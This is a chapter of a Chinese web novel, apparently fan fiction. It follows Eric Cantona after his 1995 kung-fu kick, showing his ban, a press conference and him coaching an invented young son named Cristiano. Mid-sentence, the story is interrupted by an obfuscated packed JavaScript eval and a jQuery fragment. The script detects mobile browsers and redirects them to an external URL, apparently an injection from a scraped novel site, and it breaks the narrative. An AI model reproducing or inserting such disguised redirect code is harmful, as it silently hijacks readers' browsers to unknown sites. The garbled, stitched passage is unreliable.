明月照影归 作品

15.国王的愤怒(1)

1995年1月25日,塞尔赫斯特公园球场的客队更衣室里,埃里克·坎通纳独自坐在角落。他的球衣后背已经被汗水浸透,红色的曼联队服上沾满了草屑和泥土。更衣室里的其他球员都沉默不语,连一向话多的吉格斯也低着头整理自己的装备,不敢发出太大声音。


弗格森推门而入,苏格兰人脸上的皱纹比平时更深了几分。他径直走到坎通纳面前,将一瓶矿泉水重重地放在长凳上。


“喝点水。”弗格森的声音比往常低沉,“律师马上就到。”


坎通纳没有动那瓶水,他的目光盯着更衣室地板上的某一点:“我不需要律师。”


“别犯傻,埃里克。”弗格森在他身边坐下,“英足总已经召开了紧急会议,这可不是普通的红牌事件。”


门被轻轻推开,克里斯蒂亚诺的小脑袋探了进来。10岁的男孩穿着曼联训练服,手里还抱着一个足球。他的眼睛红红的,显然刚哭过。


“爸爸……”小男孩怯生生地叫道。


坎通纳猛地抬头,脸上的表情瞬间柔和下来。他招手示意儿子过来,克里斯蒂亚诺立刻小跑着扑进父亲怀里。


“你看到了?”坎通纳轻声问。


克里斯蒂亚诺点点头,把脸埋在父亲胸前。“那个人说了很坏的话……关于妈妈和我……”


坎通纳的手臂收紧了些,他抬头看向弗格森,眼神中混合着愤怒和痛苦。弗格森叹了口气,起身走向门口。


“我去看看律师到了没有。你们……好好谈谈。”


等弗格森离开后,克里斯蒂亚诺仰起小脸:“爸爸,你会被罚不能踢球吗?”


坎通纳用手梳理着儿子微卷的头发:“可能会有一段时间不能上场。”


“多久?”


“我不知道,克里斯。”坎通纳诚实地回答,“但不管多久,我都会继续训练。就像我告诉你的,真正的球员永远不会停止进步。”


克里斯蒂亚诺突然紧紧抱住父亲:“我不在乎你能不能踢球,我只想要你开心。”


坎通纳感到喉咙发紧。他把儿子抱得更紧了些,闻着小男孩头发上淡淡的洗发水香味。这时,艾米莉出现在门口,她的眼睛也是红肿的,但表情已经恢复了平静。


“克里斯,该回家了。”她轻声说,“爸爸还有事情要处理。”


克里斯蒂亚诺不情愿地从父亲怀里出来,坎通纳吻了吻他的额头:“跟妈妈回家,我晚点就回来。”


等母子俩离开后,坎通纳终于拿起那瓶水,一口气喝了大半瓶。水顺着下巴流下来,和汗水混在一起。他用手背擦了擦脸,然后开始慢慢脱下球衣。


更衣室的门再次被推开,这次是曼联的新闻官和一位西装革履的中年男子。


“埃里克,这位是俱乐部的法律顾问,约翰逊先生。”新闻官介绍道,“我们需要谈谈接下来的应对策略。”


坎通纳点点头,继续换衣服。他的动作很慢,像是在思考什么。


“首先,英足总已经确认了九个月的禁赛。”律师开门见山,“此外,还有两万英镑的罚款和120小时的社区服务。”


坎通纳系鞋带的动作顿了一下,但很快又继续。


“俱乐部方面……”新闻官犹豫了一下,“董事会正在讨论是否要解除你的合同。”


这次坎通纳终于抬起头,他的眼神锐利得像刀子:“弗格森怎么说?”


“教练反对这个提议,但……这不是他能决定的。”


坎通纳站起身:“我要见弗格森。”


半小时后,在弗格森的办公室里,两人面对面坐着。办公室里很安静,只有墙上时钟的滴答声。


“我不会道歉。”坎通纳先开口,“那个混蛋侮辱了我的家人。”


弗格森揉了揉太阳穴:“没人要你为保护家人道歉,埃里克。但那个动作……飞踹球迷……这太过了。”


“我知道。”坎通纳承认,“但我当时……控制不住。”


“这就是问题所在!”弗格森突然提高音量,“你是曼联的国王,是孩子们的偶像,包括克里斯!你不能就这样失去控制!”


提到儿子,坎通纳的表情变了。他低下头,声音变得很轻:“克里斯……他会怎么想我?”


弗格森的语气缓和下来:“他会理解父亲保护家人的心情。但他也需要看到你如何面对错误,埃里克。”


坎通纳抬起头,眼中闪烁着复杂的光芒:“那我该怎么做?”


“明天有个新闻发布会。”弗格森说,“你不必道歉,但需要表明态度。之后……我们会想办法让你保持状态,禁赛期结束后,曼联还需要她的国王。”


当天,坎通纳回到家时已经很晚。客厅里只开着一盏小灯,艾米莉坐在沙发上等他。


“克里斯睡了?”坎通纳轻声问。


艾米莉点点头:“他坚持要等你,但实在太晚了。”她站起身,走向丈夫,“怎么样?”


坎通纳疲惫地坐在沙发上,把脸埋进双手:“九个月禁赛,可能更糟。”


艾米莉在他身边坐下,轻轻抚摸他的后背:“雅克从马赛打来电话,说如果需要,他可以马上飞过来。”


坎通纳抬起头,嘴角微微上扬:“那个老渔夫……告诉他不用担心。”


“媒体呢?”


“明天有个发布会。”坎通纳叹了口气,“弗格森说我不必道歉,但……”


艾米莉捧起丈夫的脸:“看着我,埃里克。你没有做错什么,那个人侮辱我们的儿子,任何一个父亲都会愤怒。”


坎通纳握住妻子的手:“但我让俱乐部蒙羞,让球迷失望……还有克里斯,他那么以我为傲……”


“他依然以你为傲。”艾米莉坚定地说,“今天睡前,他问我能不能学功夫,说要像爸爸一样保护家人。”


坎通纳忍不住笑出声,但笑声很快变成了叹息。他靠在沙发上,闭上眼睛:“我不知道该怎么面对明天的记者。”


艾米莉靠在他肩上:“做你自己就好,埃里克。真实的你,就是最好的你。”


第二天下午,老特拉福德的新闻发布厅挤满了记者。闪光灯不断闪烁,摄像机镜头对准了坐在台上的坎通纳。他穿着简单的白衬衫和黑色西装,没有打领带。弗格森和俱乐部主席坐在他两侧。


“坎通纳先生,你对昨天的行为有什么要解释的吗?”第一个记者迫不及待地提问。


坎通纳深吸一口气:“我不解释,我只陈述事实。那个人侮辱我的家人,特别是我的儿子。作为父亲,我做了我认为正确的事。”


“但飞踹球迷是不是太过分了?你后悔吗?”另一个记者追问。


坎通纳的眼神变得锐利:“我后悔的是让足球运动蒙羞,但保护我的家人?永远不会后悔。”


会场一阵骚动,记者们争相举手。这时,一个戴着眼镜的男记者站起来:“坎通纳先生,你认为这样的行为配得上曼联球员的身份吗?”


坎通纳盯着那个记者看了几秒,突然露出一个神秘的微笑:“当海鸥跟着拖网渔船飞行时,是因为他们认为沙丁鱼会被扔进海里。”


会场一片寂静,记者们面面相觑。弗格森在桌下轻轻踢了坎通纳一脚,法国人这才继续道:“我的意思是……人们总是期待看到他们想看到的。你们想要一个完美的足球偶像?抱歉,我只是一个会犯错的人,一个爱自己家庭的普通父亲。”


发布会结束后,坎通纳直接去了训练基地。让他意外的是,克里斯蒂亚诺正在u12的训练场上和比他大两岁的孩子们一起训练。小男孩看到父亲,立刻跑了过来。


“爸爸!你看到我刚才的过人了吗?”克里斯蒂亚诺兴奋地问,似乎完全忘记了昨天的不愉快。


坎通纳蹲下身,与儿子平视:“看到了,很漂亮。但你的重心太高了,容易被断球。”


克里斯蒂亚诺认真地点点头:“我会改进的!”然后他突然压低声音,“爸爸,大家都说你是英雄,因为保护了我和妈妈。”


坎通纳感到眼眶发热:“我不是英雄,克里斯。我只是……做了一个父亲该做的事。”


“但你还是最好的球员!”克里斯蒂亚诺坚定地说,“禁赛结束后,你会比以前更强!”


坎通纳把儿子搂进怀里,闻着小男孩身上的汗水和阳光的味道。在这一刻,所有的烦恼似乎都变得不那么重要了。


“走吧,”他站起身,牵着儿子的手,“我们回家。妈妈做了你最喜欢的海鲜饭。”


“耶!”克里斯蒂亚诺欢呼起来,“爸爸,你能教我那个飞踢动作吗?就一次!”


坎通纳大笑起来,笑声在空旷的训练场上回荡:“这个嘛……我们得先问问妈妈。”


禁赛通知正式下达的第三天早晨,坎通纳比往常起得更早。天还没亮,他就已经穿戴整齐,站在厨房里煮咖啡。艾米莉穿着睡袍走进来,惊讶地看着丈夫。


“这么早?你要去哪?”


坎通纳将煮好的咖啡倒进保温杯:“青年队训练场。老板说既然不能参加一线队训练,就去带带孩子们。”


艾米莉走过来,帮丈夫整理衣领:“你确定现在去公众场合是个好主意?报纸上还在连篇累牍地报道……”


“正因如此,我才更要去。”坎通纳吻了吻妻子的额头,“我不能躲起来,莉莉,特别是不能让克里斯觉得他父亲是个懦夫。”


艾米莉叹了口气:“你知道他永远不会那么想。”


坎通纳拿起保温杯:“但我得那么做。为了他,也为了我自己。”


清晨的卡灵顿训练基地安静得出奇。坎通纳径直走向最边缘的一块训练场,那里是曼联u12的训练场地。让他意外的是,场地边已经站着一个熟悉的身影。


“老板?”坎通纳走近,“我以为你说九点才开始。”


弗格森转过身,手里拿着一叠训练计划:“我改主意了。既然要重新开始,不如从基础做起。”他递给坎通纳一张纸,“从今天起,你负责u12的进攻训练。特别是那个小个子——”他指了指场上正在独自练习踩单车的克里斯蒂亚诺,“你儿子跳级到这个组别后,一直不太适应。”


坎通纳看着场上瘦小的身影,心头一紧。克里斯蒂亚诺明显比其他孩子小一圈,但他带球的动作却格外认真,一次次重复着同样的假动作,直到完美为止。


“他每天都这样,”弗格森说,“第一个来,最后一个走。让我想起了某个法国人年轻时的样子。”


坎通纳放下背包,走向场边:“克里斯!”


小男孩猛地回头,脸上立刻绽放出灿烂的笑容:“爸爸!”他丢下球跑了过来,“你怎么来了?”


“从现在开始,我是你们的进攻教练。”坎通纳揉了揉儿子的头发,“去把其他孩子叫来,我们开始训练。”


训练课进行到一半时,坎通纳注意到场边聚集了几个记者。他们拿着相机,远远地拍摄着这一幕——被禁赛的曼联国王在青年队训练场上的身影。坎通纳假装


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561683|170686||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


没看见,继续专注于指导孩子们。


“本,你的支撑脚太近了!”他对着一个金发男孩喊道,“再拉开半步,这样才有发力空间!”


克里斯蒂亚诺举手:“爸爸,我能示范吗?”


坎通纳点点头。小男孩立刻带球启动,一个漂亮的踩单车后突然变向,干净利落地过掉了充当防守的锥桶。其他孩子发出赞叹声。


“看到没有?”坎通纳对所有人说,“假动作不是做给对手看的,是做给自己看的。你要先相信这个动作能过掉人,它才会真的有效。”


训练结束后,记者们试图围上来采访,但被俱乐部的安保人员拦住了。坎通纳牵着克里斯蒂亚诺的手走向停车场,小男孩不停地问着各种技术问题。


“爸爸,为什么我射门时总是打高?”


“因为你太着急了,克里斯。射门前要确保身体平衡,看准球的部位……”


他们的对话被一个突如其来的声音打断:“暴徒!你不配教孩子们足球!”


坎通纳猛地转身,看到一个中年男子站在停车场边缘,脸上带着愤怒的表情。克里斯蒂亚诺的手在他掌心里颤抖起来。


“先生,”坎通纳控制着语气,“这里有很多孩子,请你注意言辞。”


“言辞?”男人冷笑,“像你这样的暴力分子才应该注意行为!”


坎通纳感到血液涌上头顶,但他低头看到克里斯蒂亚诺惊恐的眼神,强行压下了怒火。他蹲下身,平视着儿子:“克里斯,去车上等爸爸,好吗?”


小男孩摇摇头,紧紧抓住父亲的手:“我们一起走。”


坎通纳深吸一口气,站起身牵着儿子继续往前走,完全无视那个男人的叫嚷。直到坐进车里,锁上车门,他才发现自己的手也在微微发抖。


“爸爸……”克里斯蒂亚诺小声说,“那个人为什么那么生气?”


坎通纳系好安全带,思考着该如何回答:“因为……人们有时候只愿意看到他们想看到的东西。他看到了我的错误,但没看到我为什么那么做。”


克里斯蒂亚诺似懂非懂地点点头:“就像你昨天说的海鸥和渔船?”


坎通纳惊讶地看着儿子:“你记得那句话?”


“当然!”克里斯蒂亚诺挺起胸膛,“我还画下来了!”他在背包里翻找,拿出一张皱巴巴的纸,上面画着几只简笔海鸥和一艘渔船,旁边歪歪扭扭地写着坎通纳的名言。


坎通纳感到喉咙发紧。他小心地折好画纸,放进胸前的口袋:“谢谢,克里斯。这是我收到过最好的礼物。”


回家的路上,坎通纳的手机响了,是雅克,他最好的朋友。


“埃里克!我刚看到新闻!”雅克的大嗓门从听筒里传出,“那些英国佬要禁赛你九个月?就为了教训一个侮辱家人的混蛋?”


坎通纳把车停在路边,让克里斯蒂亚诺先回家找妈妈。“不全是那样,雅克。那个动作确实过火了。”


“呸!”雅克不屑地说,“换做是我,会把那家伙扔进海里喂鱼!听着,我和伙计们准备了一份请愿书,马赛港有一半的渔民都签名支持你了!”


坎通纳忍不住笑了:“你还是这么冲动。但……谢谢。”


“谢什么!”雅克的声音突然变得严肃,“埃里克,你还记得你十二岁那年,那个嘲笑你父亲的杂货店老板吗?”


坎通纳当然记得。那天雅克和他一起把那个老板的摊位掀了个底朝天,结果被各自的父亲狠狠教训了一顿。


“我父亲当时说什么来着?”雅克自问自答,“‘保护家人是男人的天职,但方式要智慧。’记得吗?”


坎通纳望着自家窗户里透出的温暖灯光,艾米莉的身影正在厨房忙碌:“我记得。”


“所以,”雅克总结道,“你现在要做的就是智慧地度过这段时间。教教孩子们踢球,陪陪克里斯,等风头过去,你还是那个曼联的国王。”


挂断电话后,坎通纳在车里坐了很久,思考着雅克的话。当他终于走进家门时,晚餐的香气扑面而来。克里斯蒂亚诺正在餐桌旁摆餐具,艾米莉端着一锅热气腾腾的马赛鱼汤从厨房走出来。


“正好赶上晚餐,”她微笑着对丈夫说,“克里斯说你今天教了他们新技巧?”


坎通纳点点头,洗过手后坐在餐桌前:“他们学得很快,特别是克里斯。”他看向儿子,“下周我要教他们弧线球,你想第一个学吗?”


克里斯蒂亚诺的眼睛亮了起来:“真的吗?就像你上赛季对桑德兰的那个进球?”


晚餐在愉快的氛围中进行着,仿佛外界的风暴都与这个小家庭无关。直到克里斯蒂亚诺上床睡觉后,艾米莉才提起那个不愉快的话题。


“俱乐部主席今天打电话来了,”她一边洗碗一边说,“董事会决定不解除你的合同,但……他们要你尽快去做社区服务。”


坎通纳擦盘子的手停顿了一下:“什么类型的社区服务?”


“在曼彻斯特的社区足球中心教贫困儿童踢球。”艾米莉转过身,直视丈夫的眼睛,“我觉得这反而是个机会,埃里克。让人们看到真实的你,而不只是报纸上那个‘暴怒的法国人’。”


坎通纳放下抹布,走到窗前。夜色中的曼彻斯特灯火阑珊,远处老特拉福德的轮廓依稀可见。九个月不能在那片草地上奔跑,不能听到球迷的欢呼,不能……


“我会去的。”他突然说,“从明天就开始。”


艾米莉从背后抱住他:“这才是我的埃里克。”